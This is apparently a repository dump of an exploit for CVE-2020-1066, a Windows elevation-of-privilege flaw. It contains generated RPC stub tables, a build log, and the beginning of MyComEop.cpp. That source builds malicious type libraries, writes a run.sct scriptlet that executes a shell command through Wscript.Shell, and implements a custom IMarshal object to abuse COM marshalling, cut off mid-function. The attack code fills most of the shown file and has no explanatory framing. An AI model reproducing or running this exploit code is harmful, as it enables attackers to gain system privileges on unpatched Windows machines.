),\t/* 0 */\n/* 56 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 58 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 60 */\t0x8,\t\t/* 8 */\n\t\t\t0x7,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, */\n/* 62 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 64 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 66 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter IDL_handle */\n\n/* 68 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 70 */\tNdrFcShort( 0x4 ),\t/* x86 Stack size/offset = 4 */\n/* 72 */\tNdrFcShort( 0x2c ),\t/* Type Offset=44 */\n\n\t/* Parameter arg_1 */\n\n/* 74 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 76 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 78 */\tNdrFcShort( 0x44 ),\t/* Type Offset=68 */\n\n\t/* Parameter arg_2 */\n\n/* 80 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 82 */\tNdrFcShort( 0xc ),\t/* x86 Stack size/offset = 12 */\n/* 84 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc2_RPCDispatchClientUIRequest */\n\n\n\t/* Return value */\n\n/* 86 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 88 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 92 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 94 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 96 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 98 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 100 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 102 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 104 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 106 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 108 */\t0x8,\t\t/* 8 */\n\t\t\t0x7,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, */\n/* 110 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 112 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 114 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_0 */\n\n/* 116 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 118 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 120 */\tNdrFcShort( 0x78 ),\t/* Type Offset=120 */\n\n\t/* Parameter arg_1 */\n\n/* 122 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 124 */\tNdrFcShort( 0x4 ),\t/* x86 Stack size/offset = 4 */\n/* 126 */\tNdrFcShort( 0x2c ),\t/* Type Offset=44 */\n\n\t/* Parameter arg_2 */\n\n/* 128 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 130 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 132 */\tNdrFcShort( 0x44 ),\t/* Type Offset=68 */\n\n\t/* Return value */\n\n/* 134 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 136 */\tNdrFcShort( 0xc ),\t/* x86 Stack size/offset = 12 */\n/* 138 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const resolver_MIDL_TYPE_FORMAT_STRING resolver__MIDL_TypeFormatString =\n    {\n        0,\n        {\n\t\t\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  2 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/*  4 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6) */\n/*  6 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xa0,\t\t/* Ctxt flags:  via ptr, out, */\n/*  8 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 10 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 12 */\tNdrFcShort( 0x20 ),\t/* Offset= 32 (44) */\n/* 14 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 16 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 20 */\tNdrFcLong( 0x1400000 ),\t/* 20971520 */\n/* 24 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x44,\t\t/* FC_STRING_SIZED */\n/* 26 */\t0x40,\t\t/* Corr desc:  constant, val=101 */\n\t\t\t0x0,\t\t/* 0 */\n/* 28 */\tNdrFcShort( 0x65 ),\t/* 101 */\n/* 30 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 32 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 34 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 36 */\t0x18,\t\t/* Corr desc:  field pointer, FC_LONG */\n\t\t\t0x0,\t\t/*  */\n/* 38 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 40 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 42 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 44 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 46 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 48 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 50 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (60) */\n/* 52 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 54 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffd7 ),\t/* Offset= -41 (14) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 58 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 60 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 62 */\tNdrFcShort( 0xffda ),\t/* Offset= -38 (24) */\n/* 64 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 66 */\tNdrFcShort( 0xffde ),\t/* Offset= -34 (32) */\n/* 68 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 70 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (72) */\n/* 72 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 74 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (98) */\n/* 76 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 78 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 82 */\tNdrFcLong( 0x1400000 ),\t/* 20971520 */\n/* 86 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 88 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 90 */\t0x18,\t\t/* Corr desc:  field pointer, FC_LONG */\n\t\t\t0x0,\t\t/*  */\n/* 92 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 94 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 96 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 98 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 100 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 102 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 104 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (112) */\n/* 106 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 108 */\tNdrFcShort( 0xffe0 ),\t/* Offset= -32 (76) */\n/* 110 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 112 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 114 */\tNdrFcShort( 0xffe4 ),\t/* Offset= -28 (86) */\n/* 116 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 118 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (120) */\n/* 120 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe1,\t\t/* Ctxt flags:  via ptr, in, out, can't be null */\n/* 122 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const NDR_RUNDOWN RundownRoutines[] = \n    {\n    0\n    };\n\n\nstatic const unsigned short DefaultIfName_FormatStringOffsetTable[] =\n    {\n    0,\n    40,\n    86\n    };\n\n\nstatic const MIDL_STUB_DESC DefaultIfName_StubDesc = \n    {\n    (void *)& DefaultIfName___RpcServerInterface,\n    MIDL_user_allocate,\n    MIDL_user_free,\n    0,\n    RundownRoutines,\n    0,\n    0,\n    0,\n    resolver__MIDL_TypeFormatString.Format,\n    1, /* -error bounds_check flag */\n    0x50002, /* Ndr library version */\n    0,\n    0x800025b, /* MIDL Version 8.0.603 */\n    0,\n    0,\n    0,  /* notify & notify_flag routine table */\n    0x1, /* MIDL flag */\n    0, /* cs routines */\n    0,   /* proxy/server info */\n    0\n    };\n\nstatic const RPC_DISPATCH_FUNCTION DefaultIfName_table[] =\n    {\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    0\n    };\nstatic const RPC_DISPATCH_TABLE DefaultIfName_v1_0_DispatchTable = \n    {\n    3,\n    (RPC_DISPATCH_FUNCTION*)DefaultIfName_table\n    };\n\nstatic const SERVER_ROUTINE DefaultIfName_ServerRoutineTable[] = \n    {\n    (SERVER_ROUTINE)Proc0_RPCClientBindToService,\n    (SERVER_ROUTINE)Proc1_RPCDispatchClientRequest,\n    (SERVER_ROUTINE)Proc2_RPCDispatchClientUIRequest\n    };\n\nstatic const MIDL_SERVER_INFO DefaultIfName_ServerInfo = \n    {\n    &DefaultIfName_StubDesc,\n    DefaultIfName_ServerRoutineTable,\n    resolver__MIDL_ProcFormatString.Format,\n    DefaultIfName_FormatStringOffsetTable,\n    0,\n    0,\n    0,\n    0};\n#pragma optimize(\"\", on )\n#if _MSC_VER >= 1200\n#pragma warning(pop)\n#endif\n\n\n#endif /* !defined(_M_IA64) && !defined(_M_AMD64) && !defined(_ARM_) */\n\n"
  },
  {
    "path": "MyComEop/Debug/MyComEop.log",
    "content": "﻿生成启动时间为 2020/5/2 16:13:44。\n     1>项目“E:\\git\\CVE-2020-1066\\CVE-2020-1066-EXP\\MyComEop\\MyComEop.vcxproj”在节点 2 上(Build 个目标)。\n     1>ClCompile:\n         C:\\Program Files (x86)\\Microsoft Visual Studio 12.0\\VC\\bin\\CL.exe /c /ZI /nologo /W3 /WX- /sdl /Od /Oy- /D WIN32 /D _DEBUG /D _CONSOLE /D _LIB /D _X86 /D _CRT_SECURE_NO_WARNINGS /D MSFROTTENPOTATO_EXPORTS /D _UNICODE /D UNICODE /Gm /EHsc /RTC1 /MTd /GS /fp:precise /Zc:wchar_t /Zc:forScope /Fo\"Debug\\\\\" /Fd\"Debug\\vc120.pdb\" /Gd /TP /analyze- /errorReport:prompt MyComEop.cpp\n         MyComEop.cpp\n     1>e:\\git\\cve-2020-1066\\cve-2020-1066-exp\\mycomeop\\stdafx.h(53): warning C4200: 使用了非标准扩展 : 结构/联合中的零大小数组\n                 当 UDT 包含大小为零的数组时，无法生成复制构造函数或副本赋值运算符\n     1>e:\\git\\cve-2020-1066\\cve-2020-1066-exp\\mycomeop\\mycomeop.cpp(881): warning C4101: “v5”: 未引用的局部变量\n     1>e:\\git\\cve-2020-1066\\cve-2020-1066-exp\\mycomeop\\mycomeop.cpp(950): warning C4101: “err”: 未引用的局部变量\n       Link:\n         C:\\Program Files (x86)\\Microsoft Visual Studio 12.0\\VC\\bin\\link.exe /ERRORREPORT:PROMPT /OUT:\"E:\\git\\CVE-2020-1066\\CVE-2020-1066-EXP\\Build\\MyComEop.exe\" /INCREMENTAL /NOLOGO secur32.lib Credui.lib Rpcrt4.lib \"E:\\git\\CVE-2020-1066\\CVE-2020-1066-EXP\\Build\\CommonUtils.lib\" /MANIFEST /MANIFESTUAC:\"level='asInvoker' uiAccess='false'\" /manifest:embed /manifestinput:\"C:\\Program Files (x86)\\Microsoft Visual Studio 12.0\\VC\\Include\\Manifest\\dpiaware.manifest\" /DEBUG /PDB:\"E:\\git\\CVE-2020-1066\\CVE-2020-1066-EXP\\Build\\MyComEop.pdb\" /SUBSYSTEM:CONSOLE /TLBID:1 /DYNAMICBASE /NXCOMPAT /IMPLIB:\"E:\\git\\CVE-2020-1066\\CVE-2020-1066-EXP\\Build\\MyComEop.lib\" /MACHINE:X86 Debug\\MyComEop.res\n         Debug\\resolver_c.obj\n         Debug\\MyComEop.obj\n         Debug\\stdafx.obj\n         MyComEop.vcxproj -> E:\\git\\CVE-2020-1066\\CVE-2020-1066-EXP\\Build\\MyComEop.exe\n     1>已完成生成项目“E:\\git\\CVE-2020-1066\\CVE-2020-1066-EXP\\MyComEop\\MyComEop.vcxproj”(Build 个目标)的操作。\n\n生成成功。\n\n已用时间 00:00:02.33\n"
  },
  {
    "path": "MyComEop/Debug/MyComEop.tlog/MyComEop.lastbuildstate",
    "content": "#TargetFrameworkVersion=v4.0:PlatformToolSet=v120:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit\nDebug|Win32|E:\\git\\CVE-2020-1066\\CVE-2020-1066-EXP\\|\n"
  },
  {
    "path": "MyComEop/MyComEop.cpp",
    "content": "﻿\n#define RPC_USE_NATIVE_WCHAR\n\n#include \"stdafx.h\"\n#include <bits.h>\n#include <comdef.h>\n\n#include \"../MyComDefine/resolver_h.h\"\n#include \"../CommonUtils/CommonUtils.h\"\n#include \"../CommonUtils/ReparsePoint.h\"\n#include \"../CommonUtils/FileSymlink.h\"\n\n\n\n\n\n#define LEN 1024\nextern \"C\"  handle_t hBinding = NULL;\nstatic IID IID_InterfaceTemp;\nstatic IID TypeLib_InterfaceTemp;\nstatic  wchar_t g_cmdline[LEN];\nstatic  wchar_t g_dllPathBak[LEN];\nstatic  wchar_t g_dllPath[LEN];\nstatic BSTR CleanUpFileList[6] = { L\"System.EnterpriseServices.tlb\", L\"System.EnterpriseServices.tlb.bak\", L\"run.sct\", L\"CardSpace.db\", L\"CardSpace.db.atomic\", L\"CardSpaceSP2.db\"\n};\n\nclass SafeScopedHandle\n{\n\tHANDLE _h;\npublic:\n\tSafeScopedHandle() : _h(nullptr)\n\t{\n\t}\n\n\tSafeScopedHandle(SafeScopedHandle& h)\n\t{\n\t\t_h = h._h;\n\t\th._h = nullptr;\n\t}\n\n\tSafeScopedHandle(SafeScopedHandle&& h) {\n\t\t_h = h._h;\n\t\th._h = nullptr;\n\t}\n\n\t~SafeScopedHandle()\n\t{\n\t\tif (!invalid())\n\t\t{\n\t\t\tCloseHandle(_h);\n\t\t\t_h = nullptr;\n\t\t}\n\t}\n\n\tbool invalid() {\n\t\treturn (_h == nullptr) || (_h == INVALID_HANDLE_VALUE);\n\t}\n\n\tvoid set(HANDLE h)\n\t{\n\t\t_h = h;\n\t}\n\n\tHANDLE get()\n\t{\n\t\treturn _h;\n\t}\n\n\tHANDLE* ptr()\n\t{\n\t\treturn &_h;\n\t}\n\n\n};\n\n\n\n\nstruct THREAD_PARM\n{\n\tHANDLE Reader;\n\tHANDLE Writer;\n};\n\n\n\nDWORD WINAPI ThreadProc(LPVOID lpParam){\n\tBYTE b[1030];\n\tDWORD d = 0;\n\tTHREAD_PARM *tp = (THREAD_PARM*)lpParam;\n\twhile (ReadFile(tp->Reader, b, 1024, &d, 0))\n\t{\n\t\tWriteFile(tp->Writer, b, d, &d, 0);\n\t}\n\treturn 0;\n}\n\n\nstatic bstr_t IIDToBSTR(REFIID riid)\n{\n\tLPOLESTR str;\n\tbstr_t ret = \"Unknown\";\n\tif (SUCCEEDED(StringFromIID(riid, &str)))\n\t{\n\t\tret = str;\n\t\tCoTaskMemFree(str);\n\t}\n\treturn ret;\n\n\n}\n\n\n\n\n\n\n\n\n_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob));\n_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager));\n\n\n\nbstr_t GetSystemDrive()\n{\n\tWCHAR windows_dir[MAX_PATH] = { 0 };\n\n\tGetWindowsDirectory(windows_dir, MAX_PATH);\n\n\twindows_dir[2] = 0;\n\n\treturn windows_dir;\n}\n\nbstr_t GetDeviceFromPath(LPCWSTR lpPath)\n{\n\tWCHAR drive[3] = { 0 };\n\tdrive[0] = lpPath[0];\n\tdrive[1] = lpPath[1];\n\tdrive[2] = 0;\n\n\tWCHAR device_name[MAX_PATH] = { 0 };\n\n\tif (QueryDosDevice(drive, device_name, MAX_PATH))\n\t{\n\t\treturn device_name;\n\t}\n\telse\n\t{\n\t\tfflush(stdout);\n\t\tprintf(\"[+][x] Error getting device for %ls\\n\", lpPath);\n\t\texit(1);\n\t}\n}\n\nbstr_t GetSystemDevice()\n{\n\treturn GetDeviceFromPath(GetSystemDrive());\n}\n\nbstr_t GetExe()\n{\n\tWCHAR curr_path[MAX_PATH] = { 0 };\n\tGetModuleFileName(nullptr, curr_path, MAX_PATH);\n\treturn curr_path;\n}\n\nbstr_t GetExeDir()\n{\n\tWCHAR curr_path[MAX_PATH] = { 0 };\n\tGetModuleFileName(nullptr, curr_path, MAX_PATH);\n\tPathRemoveFileSpec(curr_path);\n\n\treturn curr_path;\n}\n\nbstr_t GetCurrentPath()\n{\n\tbstr_t curr_path = GetExeDir();\n\n\tbstr_t ret = GetDeviceFromPath(curr_path);\n\n\tret += &curr_path.GetBSTR()[2];\n\n\treturn ret;\n}\n\n\nstatic HRESULT Check(HRESULT hr)\n{\n\tif (FAILED(hr))\n\t{\n\t\tthrow _com_error(hr);\n\t}\n\treturn hr;\n}\n\n\n\n\n\n// {D487789C-32A3-4E22-B46A-C4C4C1C2D3E0}\nstatic const GUID IID_BaseInterface =\n{ 0xd487789c, 0x32a3, 0x4e22, { 0xb4, 0x6a, 0xc4, 0xc4, 0xc1, 0xc2, 0xd3, 0xe0 } };\n\n// {6C6C9F33-AE88-4EC2-BE2D-449A0FFF8C02}\nstatic const GUID TypeLib_BaseInterface =\n{ 0x6c6c9f33, 0xae88, 0x4ec2, { 0xbe, 0x2d, 0x44, 0x9a, 0xf, 0xff, 0x8c, 0x2 } };\n\nGUID TypeLib_Tapi3 = { 0x21d6d480, 0xa88b, 0x11d0, { 0x83, 0xdd, 0x00, 0xaa, 0x00, 0x3c, 0xca, 0xbd } };\n\nvoid Create(bstr_t filename, bstr_t if_name, REFGUID typelib_guid, REFGUID iid, ITypeLib* ref_typelib, REFGUID ref_iid)\n{\n\tDeleteFile(filename);\n\tICreateTypeLib2Ptr tlb;\n\tCheck(CreateTypeLib2(SYS_WIN32, filename, &tlb));\n\t//Check(CreateTypeLib2(SYS_WIN64, filename, &tlb));\n\ttlb->SetGuid(typelib_guid);\n\n\tITypeInfoPtr ref_type_info;\n\tCheck(ref_typelib->GetTypeInfoOfGuid(ref_iid, &ref_type_info));\n\n\tICreateTypeInfoPtr create_info;\n\tCheck(tlb->CreateTypeInfo(if_name, TKIND_INTERFACE, &create_info));\n\tCheck(create_info->SetTypeFlags(TYPEFLAG_FDUAL | TYPEFLAG_FOLEAUTOMATION));\n\tHREFTYPE ref_type;\n\tCheck(create_info->AddRefTypeInfo(ref_type_info, &ref_type));\n\tCheck(create_info->AddImplType(0, ref_type));\n\tCheck(create_info->SetGuid(iid));\n\tCheck(tlb->SaveAllChanges());\n}\n\nstd::vector<BYTE> ReadFile(bstr_t path)\n{\n\tSafeScopedHandle hFile;\n\thFile.set(CreateFile(path, GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr));\n\tif (hFile.invalid())\n\t{\n\t\tthrow _com_error(E_FAIL);\n\t}\n\tDWORD size = GetFileSize(hFile.get(), nullptr);\n\tstd::vector<BYTE> ret(size);\n\tif (size > 0)\n\t{\n\t\tDWORD bytes_read;\n\t\tif (!ReadFile(hFile.get(), ret.data(), size, &bytes_read, nullptr) || bytes_read != size)\n\t\t{\n\t\t\tthrow _com_error(E_FAIL);\n\t\t}\n\t}\n\n\treturn ret;\n}\n\nvoid WriteFile(bstr_t path, const std::vector<BYTE> data)\n{\n\tSafeScopedHandle hFile;\n\thFile.set(CreateFile(path, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, nullptr));\n\tif (hFile.invalid())\n\t{\n\t\tthrow _com_error(E_FAIL);\n\t}\n\n\tif (data.size() > 0)\n\t{\n\t\tDWORD bytes_written;\n\t\tif (!WriteFile(hFile.get(), data.data(), data.size(), &bytes_written, nullptr) || bytes_written != data.size())\n\t\t{\n\t\t\tthrow _com_error(E_FAIL);\n\t\t}\n\t}\n}\n\nvoid WriteFile(bstr_t path, const char* data)\n{\n\tconst BYTE* bytes = reinterpret_cast<const BYTE*>(data);\n\tstd::vector<BYTE> data_buf(bytes, bytes + strlen(data));\n\tWriteFile(path, data_buf);\n}\n\nvoid BuildTypeLibs(LPCSTR script_path, bstr_t if_name, bstr_t target_tlb)\n{\n\n\n\n\n\n\n\ttry{\n\n\t\tITypeLibPtr stdole2;\n\t\tCheck(LoadTypeLib(L\"stdole2.tlb\", &stdole2));\n\n\t\tfflush(stdout);\n\n\t\tunsigned int len = strlen(script_path);\n\n\t\tbstr_t buf = GetExeDir() + L\"\\\\\";\n\t\tfor (unsigned int i = 0; i < len; ++i)\n\t\t{\n\t\t\tbuf += L\"A\";\n\t\t}\n\n\t\tCreate(buf, \"IBadger\", TypeLib_BaseInterface, IID_BaseInterface, stdole2, IID_IDispatch);\n\t\tITypeLib* abc;\n\t\tCheck(LoadTypeLib(buf, &abc));\n\n\n\t\tbstr_t built_tlb = GetExeDir() + L\"\\\\output.tlb\";\n\t\tCreate(built_tlb, if_name, TypeLib_InterfaceTemp, IID_InterfaceTemp, abc, IID_BaseInterface);\n\n\t\tstd::vector<BYTE> tlb_data = ReadFile(built_tlb);\n\t\tfor (size_t i = 0; i < tlb_data.size() - len; ++i)\n\t\t{\n\t\t\tbool found = true;\n\t\t\tfor (unsigned int j = 0; j < len; j++)\n\t\t\t{\n\t\t\t\tif (tlb_data[i + j] != 'A')\n\t\t\t\t{\n\t\t\t\t\tfound = false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (found)\n\t\t\t{\n\t\t\t\tfflush(stdout);\n\t\t\t\tprintf(\"[+]Typelib:%s,%ls,%ls \\n\", script_path, if_name.GetBSTR(), IIDToBSTR(TypeLib_InterfaceTemp).GetBSTR());\n\n\n\t\t\t\tmemcpy(&tlb_data[i], script_path, len);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\n\t\tWriteFile(target_tlb, tlb_data);\n\t\tabc->Release();\n\t\tDeleteFile(buf);\n\t\tDeleteFile(built_tlb);\n\t}\n\tcatch (const _com_error& err)\n\t{\n\t\tprintf(\"[+]Error BuildT ypeLibs: %ls\\n\", err.ErrorMessage());\n\t}\n}\n\nconst wchar_t x[] = L\"ABC\";\n\nconst wchar_t scriptlet_start[] = L\"<?xml version='1.0'?>\\r\\n<package>\\r\\n<component id='giffile'>\\r\\n\"\nL\"<registration description='Dummy' progid='giffile' version='1.00' remotable='True'>\\r\\n\"\\\nL\"</registration>\\r\\n\"\\\nL\"<script language='JScript'>\\r\\n\"\\\nL\"<![CDATA[\\r\\n\"\\\nL\"  new ActiveXObject('Wscript.Shell').exec('\";\n\nconst wchar_t scriptlet_end[] = L\"');\\r\\n\"\\\nL\"]]>\\r\\n\"\\\nL\"</script>\\r\\n\"\\\nL\"</component>\\r\\n\"\\\nL\"</package>\\r\\n\";\n\nbstr_t CreateScriptletFile()\n{\n\tbstr_t script_file = GetExeDir() + L\"\\\\run.sct\";\n\tbstr_t script_data = scriptlet_start;\n\tbstr_t exe_file = GetExe();\n\twchar_t* p = exe_file;\n\twhile (*p)\n\t{\n\t\tif (*p == '\\\\')\n\t\t{\n\t\t\t*p = '/';\n\t\t}\n\t\tp++;\n\t}\n\n\tDWORD session_id;\n\tProcessIdToSessionId(GetCurrentProcessId(), &session_id);\n\tWCHAR session_str[16];\n\tStringCchPrintf(session_str, _countof(session_str), L\"%d\", session_id);\n\n\tscript_data += L\"\\\"\" + exe_file + L\"\\\" \" + session_str + scriptlet_end;\n\n\tWriteFile(script_file, script_data);\n\n\treturn script_file;\n}\n\n\n\n\nclass CMarshaller : public IMarshal\n{\n\tLONG _ref_count;\n\tIUnknown * _unk;\n\n\t~CMarshaller() {}\n\npublic:\n\n\tCMarshaller(IUnknown * unk) : _ref_count(1)\n\t{\n\t\t_unk = unk;\n\n\t}\n\n\n\tvirtual HRESULT STDMETHODCALLTYPE QueryInterface(\n\t\t/* [in] */ REFIID riid,\n\t\t/* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject)\n\t{\n\n\t\t*ppvObject = nullptr;\n\t\t//printf(\"[+]QI [CMarshaller] - Marshaller: %ls %p\\n\", IIDToBSTR(riid).GetBSTR(), this);\n\n\t\tif (riid == IID_IUnknown)\n\t\t{\n\t\t\t*ppvObject = this;\n\t\t}\n\t\telse if (riid == IID_IMarshal)\n\t\t{\n\t\t\t*ppvObject = static_cast<IMarshal*>(this);\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn E_NOINTERFACE;\n\t\t}\n\t\t//printf(\"[+]Queried Success: %p\\n\", *ppvObject);\n\t\t((IUnknown *)*ppvObject)->AddRef();\n\t\treturn S_OK;\n\t}\n\n\tvirtual ULONG STDMETHODCALLTYPE AddRef(void)\n\t{\n\n\t\t//printf(\"[+]AddRef: %d\\n\", _ref_count);\n\t\treturn InterlockedIncrement(&_ref_count);\n\t}\n\n\tvirtual ULONG STDMETHODCALLTYPE Release(void)\n\t{\n\n\t\t//printf(\"[+]Release: %d\\n\", _ref_count);\n\t\tULONG ret = InterlockedDecrement(&_ref_count);\n\t\tif (ret == 0)\n\t\t{\n\t\t\tprintf(\"[+]Release object %p\\n\", this);\n\t\t\tdelete this;\n\t\t}\n\t\treturn ret;\n\t}\n\n\n\n\tvirtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(\n\t\t/* [annotation][in] */\n\t\t_In_  REFIID riid,\n\t\t/* [annotation][unique][in] */\n\t\t_In_opt_  void *pv,\n\t\t/* [annotation][in] */\n\t\t_In_  DWORD dwDestContext,\n\t\t/* [annotation][unique][in] */\n\t\t_Reserved_  void *pvDestContext,\n\t\t/* [annotation][in] */\n\t\t_In_  DWORD mshlflags,\n\t\t/* [annotation][out] */\n\t\t_Out_  CLSID *pCid)\n\t{\n\t\tGUID CLSID_AggStdMarshal2 = { 0x00000027, 0x0000, 0x0008, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };\n\t\t*pCid = CLSID_AggStdMarshal2;\n\n\t\t//printf(\"[+]GetUnmarshalClass: %ls %p\\n\", IIDToBSTR((REFIID)*pCid).GetBSTR(), this);\n\t\treturn S_OK;\n\t}\n\tvirtual HRESULT STDMETHODCALLTYPE MarshalInterface(\n\t\t/* [annotation][unique][in] */\n\t\t_In_  IStream *pStm,\n\t\t/* [annotation][in] */\n\t\t_In_  REFIID riid,\n\t\t/* [annotation][unique][in] */\n\t\t_In_opt_  void *pv,\n\t\t/* [annotation][in] */\n\t\t_In_  DWORD dwDestContext,\n\t\t/* [annotation][unique][in] */\n\t\t_Reserved_  void *pvDestContext,\n\t\t/* [annotation][in] */\n\t\t_In_  DWORD mshlflags)\n\t{\n\t\tIStorage* stg;\n\t\tILockBytes* lb;\n\t\tCreateILockBytesOnHGlobal(nullptr, TRUE, &lb);\n\t\tStgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);\t\t\n\t\tULONG cbRead;\n\t\tULONG cbWrite;\n\t\tIStreamPtr pStream = nullptr;\n\t\tHRESULT hr = CreateStreamOnHGlobal(0, TRUE, &pStream);\n\t\tLARGE_INTEGER dlibMove = { 0 };\n\t\tULARGE_INTEGER plibNewPosition;\t\t\n\t\thr = CoMarshalInterface(pStream, IID_IUnknown, static_cast<IUnknownPtr>(stg), dwDestContext, pvDestContext, mshlflags);\n\t\tOBJREF* headerObjRef = (OBJREF*)malloc(1000);\n\t\thr = pStream->Seek(dlibMove, STREAM_SEEK_SET, &plibNewPosition);\n\t\thr = pStream->Read(headerObjRef, 1000, &cbRead);\n\t\tprintf(\"[+]MarshalInterface: %ls %p\\n\", IIDToBSTR(IID_InterfaceTemp).GetBSTR(), 